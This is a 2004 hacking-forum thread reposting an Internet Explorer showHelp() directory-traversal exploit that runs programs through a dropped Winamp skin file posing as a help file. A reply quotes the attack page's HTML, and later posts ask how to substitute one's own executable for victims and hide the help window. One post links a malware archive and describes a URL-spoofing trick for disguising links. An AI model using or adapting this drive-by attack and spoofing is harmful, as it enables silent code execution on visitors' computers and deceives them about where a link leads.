Forums: Ie Exploit - Forums

Jump to content

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

Ie Exploit

#1 User is offline   ghasedak 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 38
  • Joined: 10-August 03

Post icon  Posted 11 January 2004 - 11:02 AM

IE 5.x-6.0 allows executing arbitrary programs using showHelp()
===============================================================
Title: IE 5.x-6.0 allows executing arbitrary programs using showHelp()
Date: Monday, December 29, 2003
Software: IE 5.x, 6.0
Vendor: Microsoft Corp.
Patch: N/A
Author: Arman Nayyeri, arman-n[at]Phreaker[dot]net

Description:
============
I think, microsoft needs more exploits for IE, so i could help microsoft a
lot! as you may know, there is many ways to execute a file from a known
location in the victim's computer ,but there is some restrictions.(such as
file extension) that made things harder and even impossible.
my last report to bugtraq about showHelp, doesn't work on many computers
because IE 6.0 with SP1, does not allow access to file: URLs! I worked on
it about a mounth and finally I found a way to run chm files that resides
on system drive.

this piece of code will do the work:
showHelp("mk:@MSITStore:iexplore.chm::..\\..\\..\\..\\chmfile.chm::/fileinchm.html");

some kind of directory traveling using "\..\"!

but there is some bad and good things about it (that jelmer tell them to me):

The bad:

- Microsoft tried to kill chm attacks, so when showHelp() called shortCut
and other help commands will be disabled! so we cant use shortcut command
in our chm attack!

- We can only run chm files in system drive (the partition that windows
resides)


The Good:

- Local Zone:
and all the goodies that come associated with it like reading and
uploading any file from disk using xmlhttp, executing code using
adodb.stream

- The file we drop to c:\ doesn't have to have a chm extention as long
as it has the double : following it it asumes it's a chm file, which
is really really nice, if you for
instance manage to drop a file on
a known location, you typicaly dont get to choose which extention
this file has, so this is very very nice..

Exploit:
========
Creating an exploit is very easy (but with help and advice of jelmer)!
we can use any exploit that download a file in a known location and
then open it as chm file by showHelp()!but I want to use winamp skin
file that discovered by jelmer!

this is the exploit that I provided:
http://www.freewebs....an2/showamp.htm

in this exploit I do this:
1.iframe to point to a .wsz file
2.wait 5 seconds for wsz to download to our known location
3.showHelp() to run htm file in chm file (that have .wsz ext.)
4."Self-Executing HTML Part III" to execute the exe file!

Note that this exploit only work on winamp 1 & 2 and the new winamp 5
that supports wsz again after winamp 3! you can use many other
exploits in step 1 and 4 , for example ICQ sound scheme for step 1,
or any other exploit that work on my computer zone for step 4!

and also note that I changed "self-executing HTML part III" so the
windows directory will be known and make the work easy for placing
notepad.exe in windows directory.

and sorry for my bad english!

Exploit Tested On
=================
Windows XP IE 6.0 (Fully Patched)
Windows 2003 IE 6.0 (Fully Patched)
Windows 2000 IE 5.5 (Fully Patched)

My opinion about microsoft's security problems!
===============================================
I think till microsoft do not publish software's source codes,
microsoft will have trouble!

Special Thank
=============
I would thank Jelmer, because he help me a lot.(very very thanks!)

Do I discover more vulnerabilities?
===================================
YOU AIN'T SEEN NOTHING YET!


Disclaimer:
===========
Arman Nayyeri is not responsible for the misuse of the information
provided in this advisory. The opinions expressed are my own and not of
any company. In no event shall the author be liable for any damages
whatsoever arising out of or in connection with the use or spread of this
advisory. Any use of the information is at the user's own risk.

~~~~~~~~~~~~~~
Arman Nayyeri
MCP, MCSA 2000, MCSE 2000 (oh! microsoft)

Iran
(please pray for them who lose their families by earthquake in Iran)
0

#2 User is offline   Chris 

  • Specialist
  • Icon
  • Group: Specialist
  • Posts: 1,202
  • Joined: 31-August 03

Posted 11 January 2004 - 12:07 PM

Great i was looking for one of these :D
0

#3 User is offline   Chris 

  • Specialist
  • Icon
  • Group: Specialist
  • Posts: 1,202
  • Joined: 31-August 03

Post icon  Posted 11 January 2004 - 12:29 PM

hmmmmm i am unable to get the html code from that website can you please post it below, thanks a lot !!
0

#4 User is offline   Chris 

  • Specialist
  • Icon
  • Group: Specialist
  • Posts: 1,202
  • Joined: 31-August 03

Posted 11 January 2004 - 12:36 PM

sorry to post yet again, it seems the website is a little temperamental but in between down time i got this.
<BODY><IFRAME src="xvulnx.wsz"></IFRAME>
<H1>Wait For 8 Seconds...</H1>
<script>
setTimeout(
function () {
showHelp("mk:@MSITStore:iexplore.chm::..\\..\\..\\..\\program files\\winamp\\skins\\xvulnx.wsz::\self-exec.html");
 },
    8000
);
</SCRIPT>
</BODY>


Does this code download and execute any file or is it just for winamp ??
Is it because winamp has told windows to automatically download .chm files that this works ?? and if so how do we use other files ??
0

#5 Guest_chaat_sleuth_*

  • Group: Guests

Posted 11 January 2004 - 12:37 PM

chris105, on Jan 11 2004, 08:29 PM, said:

hmmmmm i am unable to get the html code from that website can you please post it below, thanks a lot !!

use view-source:h++p://www.freewebs.com/arman2/showexp.htm

and

view-source:h++p://www.freewebs.com/arman2/self-exec.html
0

#6 User is offline   Chris 

  • Specialist
  • Icon
  • Group: Specialist
  • Posts: 1,202
  • Joined: 31-August 03

Posted 11 January 2004 - 12:56 PM

cheers
0

#7 Guest_hifil0wlife_*

  • Group: Guests

Posted 11 January 2004 - 08:03 PM

hi, thanks for the exploit. could you please explain a little further how this exploit can be modified? where do I change the *.exe file to be executed on the remote client and how do I remove/hide the help window once it has executed the file.
many thanks
0

#8 User is offline   Faceless Master 

  • Staff Sergeant
  • Icon
  • Group: Members
  • Posts: 259
  • Joined: 06-January 04

Posted 12 January 2004 - 08:38 AM

hifil0wlife, on Jan 12 2004, 04:03 AM, said:

hi, thanks for the exploit. could you please explain a little further how this exploit can be modified? where do I change the *.exe file to be executed on the remote client and how do I remove/hide the help window once it has executed the file.
many thanks

Here is another example for the exploit.
http://www.malware.c...e-cute-html.zip
It will be great if you use the URL SPOOFING VURNIBILITY with it.
Here is how u can do it.The syntax is,
http://www.trusted_s...icious_site.com
Example
http://www.hotmail.com%01%00@yahoo.com
The link is to hotmail but it will open yahoo.
Have Fun
Regards
~Faceless Master
0

#9 User is offline   ssj4conejo 

  • Sergeant
  • Icon
  • Group: Members
  • Posts: 239
  • Joined: 11-August 03

Posted 12 January 2004 - 08:41 AM

Nice expliot, with the url spoofing its marvelous = ). I'll read up more on it, seems like this one is hard to patch = ).
0

#10 Guest_Arlanthir_*

  • Group: Guests

Posted 12 January 2004 - 09:35 AM

FacelessMaster, on Jan 12 2004, 04:38 AM, said:

Here is how u can do it.The syntax is,
http://www.trusted_s...icious_site.com
Example
http://www.hotmail.com%01%00@yahoo.com
The link is to hotmail but it will open yahoo.
Have Fun
Regards
~Faceless Master


Hmm... I think the i.e. new patch fixes that :S
0

#11 Guest_Flatscreen_*

  • Group: Guests

Posted 12 January 2004 - 10:56 AM

Nice Exploit Thank you!
0

#12 User is offline   esorone 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 48
  • Joined: 15-December 03

Posted 12 January 2004 - 11:05 AM

Fresh exploit m8,

Gonna check these out.

Greetz esorone
0

#13 User is offline   aiboforcen 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 34
  • Joined: 17-October 03

Posted 12 January 2004 - 11:18 AM

Has anyone succeeded with adding your own exe in to this exploit ?
I have tried to add my own vbs code in the self-exec.html file, and as long as I only open the self-exec file localy it will work but as soon as I try to make it load with the other exploit in the help window it allways loads the same flame exe as allways. So I think its in the wsz file the problem is.. it looks like it wont load the self-exec from the same folder as the other files is, i think it loads the self-exec from a site. So the question is , how do I make my own wsz file so I can choose from where is should load the self-exec ?

Sorry for my bad english!
0

#14 User is offline   Chris 

  • Specialist
  • Icon
  • Group: Specialist
  • Posts: 1,202
  • Joined: 31-August 03

Posted 12 January 2004 - 12:50 PM

Well i believe the .wsz file is a winamp file and this is more a winamp exploit than an ie exploit, you all know winamp can be used to listen to online radio, it does this by automatically downloading a file from that broadcaster when u click a linkand then it runs it, im not quite sure where the help file comes in so i may be wrong , i get so confused ??
0

#15 Guest_piopio_*

  • Group: Guests

Posted 12 January 2004 - 05:21 PM

ABOUT Self-EXEc page :

inject another exe is extremely easy... but this code seems to work only if u double click the .html file.... otherwise doesn't work via web-server...
I think this is possible, any help would be appreciated..
best regards

( i know, my eng sux )
0

  • (2 Pages)
  • +
  • 1
  • 2
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

  • Share



Our Sponsors:


SwiftLayer Affiliate Web Hosting